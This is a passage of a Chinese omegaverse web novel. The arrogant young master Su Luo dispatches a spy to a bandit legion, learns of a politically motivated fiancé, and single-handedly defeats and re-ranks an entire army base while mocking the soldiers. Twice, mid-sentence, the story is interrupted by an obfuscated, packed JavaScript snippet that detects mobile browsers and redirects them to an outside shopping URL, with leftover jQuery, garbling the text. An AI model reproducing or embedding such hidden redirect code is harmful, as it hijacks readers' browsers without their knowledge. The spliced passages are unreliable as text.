可据之前苏霆的侦察兵反馈,小少爷跟阿莉西亚见面第一天就能和她无碍沟通。
“我给她安排了训练,三小时后她会回来。”
海勒姆的回答令季宇飞心中一惊。
训练?
什么样的训练要让一个十岁的孩子练满三小时?
心思活络的参谋长迅速推出某种可能。
“难道说,因为那天晚上?”季宇飞诧异睁大眼。
未知的‘兽’被揪出来前,一直如布偶麻木的她发出了喊叫声。
当时的场面太混乱,后来的情形太冲击,再加上隔天全员都被分到了刻不容缓的任务,导致他们注意力都没放在她身上。
如果当时女孩的‘呼喊’不是偶然,那她简直就像是雷达的探查器,捕捉到他们健全人无法触及的信号。
不过,为什么偏偏是她?
多天加班的效果初现,季宇飞眼中的凝重随思路一点点增加。
其中的沉重最后多到他再也扛不住,令他倒向椅背。
“原来如此,这就是‘代价’之一吗?”
他的声音透出几分颓丧。
无知的人们利用蓝月能源以改变自身,让浓度如慢性毒代代叠加后换来的结果。
恐怕时间一长,会有越来越多像阿莉西亚这样的天残孩童出现吧。
而他们不是每一个都能顺利活到成年的……
“丧气什么,你应该感到骄傲,摆出这张晦气臭脸想熏死谁?”
熟悉的谴责声入耳,季宇飞即刻抬头扬起笑脸。
“您终于醒了!”
鹅黄被褥下,苏罗半眯着眼舒展身体,睡饱的他发出惬意的哼声,四肢关节随动作咔咔响,仿佛也在为他的苏醒喜悦。
见他脸色正常,季宇飞没马上提议让医生进来,反而当场汇报起工作进度。
三大主镇的连通工程已在部署,回暖期一到就能动工。
各地仓储所大整改,被切割掉的项目资源与劳力重新分配,疏通往日死气沉沉的资金流。
虽说一番猛药般的整改有引起不满,但却一下全面提升了基础运作,迅速步上正轨。
这样大胆却高效的推行,放在以前谁都想不到能成。
毕竟生活资源向来是斯卡蒂的短板,若此环节持续萎靡,只会成为拖垮其他方面的恶循环,但偏偏这又是最难调和的一环。
“多亏您的远见卓识,如果道路能按时连通,那之后的冬季,斯卡蒂的人起码不会饿肚子了。”
季宇飞发自内心感谢,可见啃苹果的青年觑来一眼,他顿时意识到自己是保守了。
果然,对方坐直侧过身。
半米距离,四目相对,某种压迫感竟于这温馨舒适的卧室骤现,飓风一样袭来。
“只是不用饿肚子?可笑,如果你们只能做到这程度,那还不如趁早自我了断,这样我说不定还会赞赏你们的骨气。”
“是,您说得极是。”
比起被苏罗骂懵过的其他人,季宇飞低头道歉得最快,像条鲶鱼灵活闪开威压。
至于他心里怎么想,也就他自己知道了。
正说到这房门打开,海勒姆推着新鲜出炉的一车食物归来。
饭菜香不愧是一味强效治愈药,不仅让‘赖床’的苏罗跳下地,也驱散空气中残留的紧张感。
蒙头睡了四天,苏罗吃相依然生猛,仿佛是刚长牙的幼兽不知节制,一不留神就吞下比自己体型大数倍的食量。
今天又当了回斟茶仆人,季宇飞的心情截然不同。
那些肉与牛奶,蔬果与面包,仿佛是斯卡蒂乃至整片大陆、整颗星球的疆域,被青年囫囵吞下。
这人到底是抱着私欲占为己有,还是出于本性或理想前来引领?
参谋长的思考在一位新访客抵达后暂停。
尼克·哈里斯。
刚入伍一个月的下等兵,却于两天前正式办理了退兵手续。
暂不提全部取消的补助和福利,他未来不仅无法再次应征,还会成为所有人乃至亲朋友好眼中的逃兵。
因为他没等到宣誓仪式就离开了。
老实说,他在军营里的综合能力不错,虽然性子有点皮,但大是大非拎的清,不曾触犯原则问题。
换做季宇飞或苏霆都不会轻易通过手续,将人变相放逐。
一切只因某人的某句话。
——尼克·哈里斯,今天开始你就不是北军的人了,给我滚去你现在最该去的地方
如同蓄意为之的报复,每一个字都像是厌弃的剑锋,直指血肉做的脆弱人心。
然而,今天来觐见的尼克却洋溢着旁人看不懂的幸福笑容。
他穿着比制服更粗糙的布衣,一进屋就摘下帽子,主动向圆桌前的青年行礼。
“都办好了?”苏罗撑着脸问。
“一切准备就绪。”
“什么时候走。”
“见过您这一面,在下就能毫无遗憾地上路了。”
……
嗯?
等等,上路是什么意思?
二人的对话越听越不对劲,季宇飞终究没忍住叫住鞠躬告退的青年。
“下等兵,你走得这么匆忙是要赶车么,不如稍后我带你一程。”
尽管极力掩饰,但这节骨眼上尼克·哈里斯很难不看穿他的忧虑。
为感谢照顾过自己的长官,尼克转身行了最后一个肃穆的军礼。
放下手,戴回圆帽,他不再受军装约束,重回独属于他的风貌。
散漫中带着刁钻,游戏人间却又有一股能俘获信任的认真。
仿佛到了他的手里,污泥也会被他忽悠成绝世珍宝,让被他嘴脸迷惑的人甘愿高价买下。
“季先生,我已经不是你们北军的士兵了。而且,我接下来去的地方也不适合您陪同我,被人看到会出大问题的。”
“……”
沉默中震惊如哑弹爆炸,唯一中弹的季宇飞第一反应就是猛转头,看向苏罗试图求证。
苏罗下巴轻挑,笑得更明朗了。
答案就此确认。
尼克·哈里斯要回的不是老家,更不是自尊受损后心灰意冷地寻死。
斯卡蒂的西边山域,如今的索拉兵团大本营。
是一面与北军作对,一面又去搜刮抢夺百姓,常年与星盗同流合污的匪徒们的所在地。
青年要去成为他们的一员。
参谋长的惊骇突破假笑面具,苏罗饶有趣味观赏,一边又插起配菜里的萝卜。
他悠悠说道。
“绑架苏洛少爷的勒索失败,重要干部被抓后一直没有消息,那边现在应该蛮着急吧……”
由于北军基地这堵墙,山脉的东西两侧实际存在一定的消息壁垒,之前狮鹫掳走苏洛少爷还是靠的外援,即诡异的兽。
如今狮鹫和异兽双双败落,足以预见兵团那边的不安。
这个时候,没有什么比一个自愿投诚的‘前北兵’更适合当及时雨了。
“你真的想清楚了?尼克·哈里斯。”
清楚那群暴徒的作风,担忧的季宇飞也不再委婉。
“在那些坏蛋胚子看来,你就是一个叛逃的懦夫,是背叛北军的胆小鬼,他们对叛徒的态度可不比对我们的士兵差。”
阿莉西亚的生父就是最好的例子。
为进一步劝阻,季宇飞上前直说道。
“你的那点嘴皮子功夫,抵不了他们真刀真枪的酷刑的,你是在拿你的命、你的前途、你未来的名誉去赌,走一条根本看不到头的钢索。”
“万一你暴露了,或者我们不知情的人抓到你将你一起处决,你……你再好好考虑一下。”
出乎季宇飞的预料,尼克听罢捶捶心口,进门前就在的笑意愈发昂扬。
“是的,您说的风险和代价我都赞同。不过,有一点您讲错了。”
金发青年视线转移,指向笑容比他更放肆,神色比他更的猖狂苏罗。
真是世间的危险‘传说’之最。
心中暗笑一声,尼克毫不犹豫答道。
“我其实并没有背叛北军,因为,我真正宣誓效忠过的只有我的国王陛下,一个最伟大,最耀眼,也是全世界最强的坏蛋胚子罢了。”
独特的奉承像吟游诗人唱出的一段欢脱旋律,能瞬间逗得人心花怒放。
和晚宴时一样,苏罗的真笑转瞬即逝。
他招招手,把走远的金发青年又叫回来。
二人的表情如同玩过家家的孩童,各有各的不认真,可当中一人单膝下跪的动作却似彩排模拟过千遍,标准且赏心悦目。
“那么,准备好接收另一道指令吧。”苏罗晃着银叉,点着空气道,“我听说西边有很多好玩的东西,尤其是食物民俗什么的,和东边完全不一样啊……”
暂顿两秒,他以银叉比向青年右侧,如同手握长剑为其点肩,授予至高无上的荣耀。
“一年之内,把那些带回来给我。”
使命和荣耀一并下达了。
作为接受册封的‘骑士’,尼克的表现已然超过热衷游戏的孩童。
他垂头沉声道。
“遵命,在下必会将您的威名带往您的光辉注定笼罩到的地方。届时请您务必赏我一杯好酒,听我向您描绘远方的趣事,绝对会有额外惊喜哦。”
前半段一本正经,后半段他抬头单眨眼,保证时的口吻也俏皮起来。
仿佛今后等着他的不是危机四伏的间谍之路,乃是踏入危险与绝美兼具的秘境之旅。
并且,他笃定自己能够回来。
这才是令季宇飞费解,但又隐隐能抓住一丝头绪的地方。
同样难理解的还有苏罗爽快的点头,简单一句‘准了’就派海勒姆送客。
揣着各种复杂思绪,参谋长又马不停蹄陪同苏罗前往基地。
坐进军用车时,心情好的苏罗扫一眼前排,主动打了声招呼。
“唷,那个西什么多,今天你气色不错啊,有什么好事发生吗?”
“是西奥多。”
司机不卑不亢提醒,此后沉默着驾驶完全程。
当苏罗下车走出一段距离,他才跟着推门叫住人。
“戴利托我向您致谢,谢那天您对他手下留情,救了他一命。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176272|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
戴利·玛斯,那天被苏罗刁难要求跳脱衣舞,又和异兽一起被后者击飞的alpha。
尽管当时他的伤看着吓人,可紧急治疗一夜后就生龙活虎,完全没有麻烦的后遗症。
想来正好是异兽藏在他被击中的位置。
或更准确的说,击伤他的人就是瞄准了才动手。
没有一丝误差。
“道谢?没必要。我只是厌恶有脏东西在我的视野内偷偷摸摸,行事不端,另外我还最烦不爽快的人。”
苏罗说着又摆出标志性的傲慢姿态,像是要把西奥多看扁到看进地里。
“你回去叫他没事少盯着海曼屁股看,喜欢就大方追求,只想有欢爱关系就明明白白去问意愿,如果两者都被拒绝那就断掉全部念想,别拿出来恶心其他人,不然……别逼我再帮他死干净一次。”
小少爷再语出惊人,这回连西奥多也懵了许久,最后胡乱点头应下了。
于是在季参谋心里,年轻却资深的‘王’又多了一项惊世骇俗的特质。
这一点印象,在他们见到布雷格时再次加深了。
为研究硕大的异兽尸体,七号训练场整个清空成为临时研究所。
而有了一百名医师和医学生的加入,原本可怜巴巴的二十六人总算能在艰苦工作中喘息,免去诸多杂事。
进门先扫一圈精神饱满的研究员,苏罗嗅嗅空气,发出两声满足的轻哼。
“真好啊,这是准备烧烤野餐了?居然不带我一个。”
“我想他们是在解析这个生物的蛋白质成分。”季宇飞哭笑不得应道。
注意到季宇飞身边的青年,扶梯顶端的布雷格直接抱住铁架滑到底,快步走上前。
许是为了方便行动,常年散发的怪才一改邋遢,灰色长发用发绳束起,露出瘦削但精悍的面容。
站定后他没开口,反倒是苏罗拇指比向被拆成五段的巨物,扬眉笑问。
“怎么样,我赔你们的这个够大吧?”
“它和上次的不一样,他们不是同一种来源。”布雷格答得飞快,“而且你为了斩杀它,把重要的头部破坏了,它的大脑构造不完整,导致可破解的地方少了一大块。”
这话里话外都有点追究的意思,语气也莫名的冲,这下后方的研究员们纷纷噤声,为布雷格紧张捏汗。
不同于他们,季宇飞预判准确。
小少爷什么也没追究,而是拍着布雷格后背,一副画大饼哄下属的样子。
“不急嘛,能深入解析到脑子的设备还没到,那咱们就从最基础的地方抓起,一点点完善。只要不浪费,总会有收获的。”
听苏罗这么一说,周围的研究员成群骚动。
素来抗拒与人肢体接触的布雷格更是抓住他的手,死鱼眼瞪大了两倍。
“你、你说、设备还没到?你上哪找的?是什么样的!?”
布雷格的激动完全不输初见面那天,整个人倾身压上,只差没架起苏罗把设备当场抖下来了。
对于他,苏罗再现令季宇飞心情复杂的宽恕,仅仅是把他的手拂开,哥俩好地勾住肩膀。
“哎呀,别急嘛。我说会有之后就一定能到手。那相对应的,你能在这之前完成其他化验,思路更大胆一点,给我看看不一样的成果?”
布雷格盯着地面思索,最后在一众同僚的诧异目光中抬眼,深深看着苏罗点头。
“好,你给我等着。”
丢下堪称宣战的话,布雷格又迈出长腿风风火火回归岗位。
在陌生的共事者看来,他是对苏罗心怀怨气,试图用实力扳倒对方。
在熟稔的同事眼里,他这是被变相的激将法挑起了斗志,燃烧了小宇宙。
唯有季宇飞一边啧啧称奇,一边为人默哀。
他们单纯的学痴,天真的怪才,就这样成了小少爷轻易拿捏的‘玩物’,变得心甘情愿地,且未来还可能会自己上去求着为其卖命。
感慨持续没多久,后方安全门开合,又一道意想不到的身影登场。
苏霆元帅大步跨进屋,不停向各处张望,直到锁定某一处,他十万火急的仓促步态才慢慢平稳。
来到苏罗跟前时,他恢复得和平时差不多了。
“想我了吗,大哥。”苏罗照旧贫嘴道,“我可是做梦都梦到你又冷又硬的脸了哎,睡得一点都不安稳嘛。”
看着呼呼大睡四天没动过的人,苏霆张嘴却是哑了一会儿。
过后他没辙叹气,无力地为自己申诉。
“那看来三张羊绒垫给你还不够,回头你自己去让海勒姆准备吧,随你自己喜欢。”
他话音刚落,青年像兔子一蹦,高高跃起又被他熟练地双手接住。
“耶——太棒了!大哥你对我最好了!我最喜欢你啦!”
感受怀里闹腾的力度,聆听孩子气的告白,苏霆心里苦笑得厉害。
因为谁都没有他清楚,‘任性弟弟的撒娇’只是一层易碎的糖壳,甜蜜的假象罢了。
等哪天对方认为不需要再维持,那他也将不再拥有这样的相处时光。
怀着道不明的淡淡伤感,苏霆眼皮一掀,冷眼扫射前方偷看的下属们。
“怎么都停下了,是已经完成工作了?”
质问叫人脖颈发凉,好奇的人们齐刷刷收回视线,用更卖力的动作掩饰尴尬。
教训下属没半分钟,苏霆脸颊也被拍了拍。
不至于受伤或疼,但啪啪声足够响亮。
他低头,果然对上狡黠乌亮的黑眸。
“你还没回答我呢,大哥,这么急着来找我,是有什么开心的事吗?快说呀。嗯?说嘛说嘛!”
把他当吊床的人晃动脚尖打着节拍,莫名跟他的心律同步,叫他一下拒绝不了。
“首都……中央指挥部刚刚来通讯了,他们听说了你被绑架后受重伤的事,担心你无法再履行之前的职责。”
听苏霆把词换成了职责,季参谋站在右后方可劲摇头,内心直叹‘这人没救了’。
不过下一句苏霆又找回原有的作风,平静告知道。
“他们要送弗雷泽过来探望你,你名义上的婚约对象。”
11. 元首的蓝宝石11
弗雷泽·普莱德,现任中央大元帅之长子,今年刚满二十四岁,身强体壮正是适合成家的时候。
作为alpha,他虽没有苏霆的赫赫功绩,也不像季宇飞年纪轻轻就能身居高位辅佐要员,但从他就读院校公开的历年报告看,他是德智体美全面发展的顶尖学子。
尽管他主修的是文学历史,一种在多数人看来纯镀金的花瓶专业。
以后除了留校做研究,他就只能吃着家产度日,再不然就是流连各大拍卖场,看能否捞到些真迹。
“是一位幽灵长子呢。”
季宇飞先言简意赅总结,然后才举起档案细说。
“他是普莱德大元帅与亡妻玛琳·奥兰的孩子,但玛琳夫人病逝不到一年,普莱德大元帅就将第二任妻子莫娜,以及和弗雷泽同岁的‘次子’伊诺克迎进家门。”
长子次子同年出生只相隔两个月,其中‘次子’的月份还是故意往后修改过的,这意味着什么,不言而喻。
“玛琳·奥兰。”
客座沙发上,苏霆有意重复着该名字。
季宇飞当即会意,点头道:“您想得没错,玛琳夫人的家族也算是那位的后裔之一,只不过比起你们,她的关系更远,子代更有钱也比你们过得安逸罢了。”
或许是出于对奥兰家产的渴望,还有对血红王末裔的忌惮,这一代的普莱德大元帅做了和先辈相差无几的事。
只不过他是将人困在自己身边,事无巨细地掌控着,然后慢慢养废。就像弗雷泽。
“那我跟他联姻,岂不是要被当成碍事的繁育者除掉?哎——不要吧。”
不成体统的话横插一脚,在场无人谴责,季宇飞更是顺滑接茬道。
“话虽如此,我认为不管弗雷泽本人想法如何,普莱德元帅都会想让自己的孩子跟您成家的。”
这次借故让弗雷泽来斯卡蒂探访,身边必定有大元帅的人陪同。
明面上说是保护,实际是监督并顺道探查这边的情况罢了。
“目前有两种推测。”季宇飞比着手势分析道,“首先第一种,他们盼望着也肯定如今的苏家是强弩之末,认为现在终于可以借题发挥,啃下我们苏霆元帅这块硬骨头。”
硬骨头本人不置可否,微微颔首示意他继续。
“另外一种,如果他们发现自己的‘牙’还不够结实,那就只能重演他对待玛琳·奥兰一样的戏码了。”
以子代联姻为由接近,神不知鬼不觉地渗透进斯卡蒂,慢慢拔除他们的眼中钉。
而为杜绝弗雷泽翻身的可能,大元帅夫妻俩是绝不会让他加入强盛时期的苏家。
那么,下一个候选人非次子伊诺克莫属。
“嚯——那这人怎么样?”
仍旧是在严肃的中场打断,苏罗一边喝着热饮边转动皮椅。
“他身体好吗?长得好看吗?智商高不高?性格和情史如何?生育能力呢?能分到多少家产?”
他兴致勃勃发问,俨然一个乐于相亲的omega。
虽然习惯他难以捉摸的作风,可他的热衷还是让在场两名成年alpha欲言又止,莫名多了一分紧张。
通俗地讲,这大概类似于不想自家养的水灵灵娇花被外面臭烘烘的野猪拱了的心情。
尽管这朵花才是史上最恐怖的食人花。
“是个不学无术登徒子。”
苏霆仿照季宇飞陈述道。
“进首府军校是走后门特招的,现在的少校头衔也徒有虚名,他本人倒是用那身制服和地位一月一换伴侣,软硬兼施也不管对方意愿,失去兴趣了就扔笔钱打发掉。
另外他十六岁起就频繁进出各类会所和俱乐部,早就是万花丛中过,片片都沾身了。”
寥寥几句拼凑出真正被骄纵惯的‘小少爷’形象,鄙夷之情溢于言表,苏霆元帅不知该说进步神速好呢,还是不再掩藏另一面。
“其中相当一部分是玛琳·奥兰的遗产呢。他用的钱是,去潇洒的地方也是。”季宇飞友情补充道。
“另外为保持他明面上的单身,莫娜夫人很用心地清扫他的四周,被他分手的人后来都在首都销声匿迹了。啊,但他毕竟是元帅之子,身体素质是过硬的。”
听完这两位的评价,苏罗停止转椅,静静眨了会儿眼睛。
“唔,不赖嘛。”
他一声含糊不清的评语可把另两位吓得不轻。
‘不赖嘛’是几个意思?
是真觉得有趣还是厌恶得说反话?
难不成正是因为对方烂得够彻底,所以才起了好奇心?
季参谋拿档案的手紧了紧,苏元帅在沙发上坐直背,两人的表情出现不同的紧绷,如临大敌。
估计只要首座上的青年一点头,他们就要搜肠刮肚地开始劝说了。
‘未婚夫’的名头给谁都可以,反正就是伊诺克·普莱德不行!
像是有意忽视两人正襟危坐的原因,苏罗放下喝空的茶杯,转头问起苏霆。
“话说回来,他们准备得怎么样?”
“只要你确定好,我能马上叫他们集合。”苏霆即刻点头。
他们即为基地中的全体将士,不算直属苏霆的特遣队,总共三万人六千人。
其中八千人是近三年新入伍的一批,是基地未来重点训练的对象。
像今天这般和所有前辈上级相聚一处,他们还是第二回。
第一回自然就是宣誓仪式了。
集合铃声响起,十分钟后最大的地下二号训练场就装满了整齐肃静的阵队。
防空洞的构造放大一切声音,可从他们站定开始,这片空间就静寂无声。
随苏霆等众位高级军官身处高台,苏罗站位最前,懒散地观望全军。
他最后评价道。
“马马虎虎。”
换做其他人这话还有敷衍和抹黑的嫌疑,可是由单杀异兽的他来说,这代表他们幸运地摸到了及格线。
正因清楚这点,台上无一骨干出言反驳。
这也让下方能听见他们声音,却不知近期大变故的士兵们愈发不解。
在他们看来,苏霆元帅在弟弟出事后简直像变了一个人。
天天围着对方转,逐渐疏于公事不说,前段时间他更是在晚宴后毫无缘故就放逐一名下等兵。
现在倒好,又把他们当成玩具一样召集过来展示给弟弟看,妥妥的‘昏君’做派。
往昔传播的谣言在人群中蠢蠢欲动,仿佛窃笑着将要挑起更多的不满浪潮。
“好。”
苏罗一打响指,用欢快的嗓音终止人们心间的非议。
“既然人都到位,那我就跳过虚伪无用的开场白,没有营养的客套话,直截了当的说清楚吧。”
“今天这里的人,如果没能在跟我的对战中通过,那从今往后就不用留在你们的队伍里了。”
不愧是能让苏霆元帅都爆炸过的超级‘气人王’,他一番儿戏般的宣令再次砸碎士兵们训练有素的寂静。
其实第一波哗然后他们有自觉止住,可看苏霆元帅竟然无动于衷,他们这才忍不下去。
士兵三分之二是alpha,大嗓门的呼号于他们而言形同天赋。
撇去重复最多的‘凭什么’、‘为什么’还有自我宽慰式的‘开玩笑吧’,苏罗手一指,挑中第二队第三排的中间。
“你看着好像有话很想跟我说,不如你来当这个代表。”
抗议声暂息,前面的人转头,后排的人张望,顺着他的手指寻见一名金发男人。
被退兵的尼克·哈里斯的哥哥,去年升为下士的尤金·哈里斯。
同时,他也是目前所有人中唯一一个带有恨意仰视苏罗的人。
哈里斯兄弟俩相差三岁,双方平时不常碰面,可他们从小呆在一起长大的情谊要比苏家兄弟深厚多了。
甚至连眉眼长得也更像。
而即使看着下一秒就要上前锤爆苏罗的脑门,尤金·哈里斯双拳攥死,守住最后防线。
他也的确帮周围的人问出最想说的。
“我想请问阁下,您是行使什么权力,代表什么立场对真心实意守护北线的各位将士说出这么……无礼傲慢,让人心寒的话。”
原以为会得到解释,再不济也是流于表面的回应,岂料那乌发青年在看台上摇头,嗤嗤笑了一阵。
“我还想问你,你有什么资格,要我回答你的问题。”
要论激发敌意的技术,苏罗说自己第二,当世就无人敢称第一。
可再说了,无论原先有没有‘第一’,他都会把这为他定制的称号收入囊中。
因此毫无悬念的,尤金眼里的情绪似病毒向四周传开了。
痛恨,迷惑,信念与理想被折辱后的不甘……
这一瞬间,他们应该连对苏霆,甚至对整座基地的存在都感到怀疑。
“轰——”
更猛烈的声讨尚未掀起,一道重物落地的闷响就先与那抹身影一样降落在场中。
只有高台边的人看到,小少爷苏洛踩上栏杆,像头羚羊蹬脚起跳。
这距离,少说也有五六十米了,高度长度都是。
被一群表情精彩犹如调色盘的士兵包围,苏罗的微笑是前所未有的和善。
“那行吧,看在你刚才守礼的份上,如果你能通过,我就回答你刚才的问题。”
他朝尤金勾勾手指,握拳摆出一个在行家看来可笑的无力架势。
“就现在,开始吧。”
没有规则,没有判定条件的对战演习,对象是地位最高的元帅的家眷。
一名未成年且刚受过重伤的omega。
出于种种顾虑,起初并没有人轻举妄动。
可是,青年的神情太过分了。
眸中闪烁着狂野无畏的的精光,如同吃饱喝足只缺玩乐的猛兽。
披着姣好的皮囊,模仿人类的傲慢,以俯瞰小虫的眼神将他们置于最下位,全方位碾压。
唯一的弟弟因为这人不辞而别,尤金本就心存怨气,此刻感到自己与战友们遭受侮辱,他一咬牙直接上了。
紧张刺激的对战,惊心动魄的追击,绝对力量的碰撞……
这些,一概都没发生。
尤金·哈里斯刚迈开腿,他人就被踹中心口飞出十米。
“弱!太弱了!全身上下都是破绽,你以为你是在原地踏步表演吗!拿下你我连位置都不用挪。”
叱责比耳鸣更难忍受,倒地的金发男人怒气涌上喉头,爬起不等站稳就是一个转身反扑。
可事实正如几秒钟前踹飞他的青年所说,他又飞出去了。
双脚位置自始至终没变,苏罗右手插兜,左臂还有空向后肘击,击晕妄图偷袭他的第二名挑战者。
“怎么,原来这就是你们队伍里最有骨气的人了?那你们打不赢区区几个强盗也不奇怪了,真是一窝白吃饭的孬种。”
迎着无数愤怒堆叠,快要喷火的眼睛,他打了个哈欠,又真情实感说道。
“识相地干脆现在就滚回老家,挖点冰块把自己埋了好给后世当研究标本吧,那样也不算白活一趟。”
“怎么?还想着结婚生子?算了吧,你们这种软弱者的基因传下去,也只是给未来增加更多混吃等死的累赘罢了,还不如就断在你这一代。”
话音刚落,以苏罗为起点和圆心,无形的冰河世纪展开,冻结所有声音。
生存与繁衍——自古以来所有生命体的本性与存在的基本意义。
无论是强是弱,动物尚且会因生命受到威胁去拼搏,何况已发展出复杂心智的人类。
哪怕有时他们根本不知道自己碌碌一生到底是为了什么,又该如何而活,他们也会本能的抵抗‘否定’。
今天,在由他们守住的营地里,最没资格说教的人却胆敢一口气否决他们的全部。
那么,他们也心意已决。
纪律和良知都先靠边站去吧!
他们非得把这不知天高地厚,蔑视一切的家伙狠狠教训一顿!
……
如所有人料想的那般,‘狠狠教训’的预设兑现了。
不过,被教训的一方是不自量力的全体士兵。
单独迎击,合力围攻,默契满满的车|轮|战,他们使尽浑身解数冲上前,却都像易耗品一样被成批击倒。
若只是战败就算了,毕竟平时他们也会和长官对练,也一样输多胜少。
可是今天,他们居然还要被迫听着让人牙痒痒的嘲讽。
“没瞄准就先出拳,你的眼睛是摆设吗?干脆挖出来放鱼缸里给我观赏算了!”
“五次里有四次都是同一侧攻向,你以为你是游戏里的送命小人?那你打完这场就去回收站把自己一键删除吧!”
“哈!狗吃屎你又来了?这次你准备摔几圈?”
……
高台上,远望苏罗原地不动,平均五秒解决掉十个挑战者,季宇飞无所适从地笑道。
“小少爷他——呃,他玩得真开心啊。”
仿佛是成年的野兽领袖,轻松抬爪挑开来造次的小幼崽,教会它们什么是长幼有序。
因为幼崽们实在太弱又年轻气盛,反把他逗得乐不可支,心情大好。
“并不是玩。”
沉静的反驳来自身旁,是和他同样注视至今的苏霆。
在基地主要负责训练一块,元帅能比主文职外交的参谋更敏锐,察觉出某个玩疯了的人的意图。
士兵们从赤手空拳到慢慢拿起称手的武器,从蜂拥而上的围殴到自成队伍,阴谋阳谋并用。
虽说这点伎俩在绝对性的压倒力量面前一无是处,可却比普通的演练测试直观多了。
全场三万多人,正潜移默化搬出平时训练的成果,也在不知觉磨炼心境。
仿佛是看到一块自己能轻易够到的‘木板’。
走近,蓄力,起跳,落地后才发现差距之鸿大,自己根本无法企及。
可放弃就会被毒辣的鞭子甩中,退缩就会被绝情的蛮力击倒,使得下一次的爬起愈发艰难。
而他们都清楚地认识到一点。
若今天选择了以上两种途径,最后击败他们的不是嚣张跋扈的某少爷,乃是他们自身。
无关使命,无关职责。
这场胡来的战斗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176273|150591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只讲究一个‘我’字。
是本该最不容许外界无故凌辱,遭谁蓄意扭曲的人格,活着的第一准线。
“话虽如此,果然我们这边还是全灭呢,我竟然一点都不惊讶。”
叫停千转百回的思绪,苏霆罕见地说出一句冷笑话似的感言。
四个半小时,三万人六千人全灭。
地上满是累到喘不出气的士兵‘尸体’,他们横七竖八躺在各处,唯独空出一个圆形。
落地时在哪,现在给肩膀弹灰苏罗仍站在哪。
他脚下干净到令人发指的圆圈仿佛是聚光灯的偏爱,势要将他摆在最瞩目的位置。
正前方两米,尤金·哈里斯趴伏着。
他始终梗着脖子,不肯让脑袋触地。
感受到谁的影子笼罩上方,谁的视线由上至下将他刺穿,他这最初也是最后的挑战者长舒一口气。
“我输了……我会走的,等会儿就去办手续。”
虽然不愿离开,可他不得不服输,否则连他也要唾弃自己了。
“啊?”苏罗掏掏耳朵,漫不经心道,“谁说你要走了。你走了以后谁负责南哨塔的巡逻队。”
才是下士的尤金呼吸停顿,许久后扬起脸。
对方没给他解惑,但他的惊诧仍像一开始的愤怒迅速传遍四周,传给后来跟他同样被重新分配职位的人心里。
目睹过前例,季宇飞见怪不怪,早已备好文书候在苏罗一旁记录。
综合能力,动作习惯,思维偏好,个人极团体的协调性。
种种需要长久观察才能判定,还不一定明晰的标准,被那名眼光毒辣的分拣师摘出,不费吹灰之力地拿去分类。
他甚至还能抽空给每个人附条评语,点明优劣所在。
完成初筛已是深夜,苏罗继续霸占元帅办公室的主位,神情专注到布雷格看了都会甘拜下风。
如果他解散队伍前没说一句‘今天没人通过,所以明天我们继续’,或许他在一众心力交瘁的士兵们心里会更符合他故意装出的甜美笑容。
也更符合现在贤明掌权者的面貌。
再次替人倒好茶,季宇飞试探性地劝道。
“小少爷,您真的不需要休息一下吗?”
青年挪开举在面前的文件,他无温度的眼神已经给出答复。
——没必要的休息纯属浪费时间
默然中酝酿良久,季宇飞垂头轻轻一笑。
“我记得,您说过您最讨厌不爽快的人。那我能否趁苏元帅不在,单纯以一个直爽人的身份,求您回答我一个问题。”
参谋长的措辞说到点上,也逃过早晨被瞪视的遭遇。
于是对方颔首准许,他大胆直言。
“我想问您,您的过去,现在,以及和我们在一起的未来,都是什么样的王?或者说,您想成为什么样的王?”
话音刚落,季宇飞眼皮狂跳,脑中闪过惨不忍睹的血腥场景。
那是他的直觉传达给他的,他可能会有的最坏结局,谁让他胆敢触及一个至强者的秘密,是对方的来历与今后去向。
但他始终秉持一点。
哪怕苏霆他们已经接受了这位‘王’存在,他也要问清楚。
主位前,苏罗丢开笔,微笑着却看不出情绪底色。
“你很聪明,不如你先替我回答一个问题?你认为永恒的‘王’该是怎么样的?”
参谋长再次垂下头,是沉思也是为躲避那道摄人的目光。
乍看之下,他能给出的答案太多了,毕竟从古至今就不缺案例。
那些印刻在历史长河中的最高统治者,他们有的平庸无能,有的超群绝伦,有的博爱如同圣者,有的残暴堪称魔鬼。
可无一例外的是,他们终会走向属于他们的末点。
而时代变换,‘王’这种集权的象征也不再适合现世的运行法则。
“万分抱歉,在下或许无法给您答案,因为……”
“因为,根本就没有永远存在的王,是么。”
话头被劫走,季宇飞只是把头埋得更低,紧张地等待。
等待巡礼钟声般的回答响起,重重敲击他的身心灵三体。
“永恒的王,是根。”
“绝不能是无忧的花果树叶,也不能是停歇的飞禽走兽。”
花果会凋谢,枝叶会断裂。
飞鸟随心翱翔,野兽自由来去,可除了一身翎羽和脚印,它们什么都带不走留不住。
唯有最底端的根系,蛰伏于黑暗潮湿,永无日光的地底。
是它穿透最坚硬的岩石,甘愿与污泥和腐物成群,将生命最需的纯粹养分向上传递。
然后,让‘他们’为‘他’开花结果,欣欣向荣,演绎太阳下的灿烂光华。
让‘他们’的幸与不幸由‘他’承载允许,从更多变强横的命理洪流中逃离。
“和你们在一起的现在,未来,还有没跟你们相遇的过去。我都只会,也只能成为这种王。”
地板似乎在摇动,应和着季宇飞忽然激烈的心跳。
“那您……您成为过去的……‘他们’的永恒了吗。”
他发出如在梦中的飘忽追问,听到自己用上从未有过的颤抖声线。那里面尽是连他分不清的汹涌情绪。
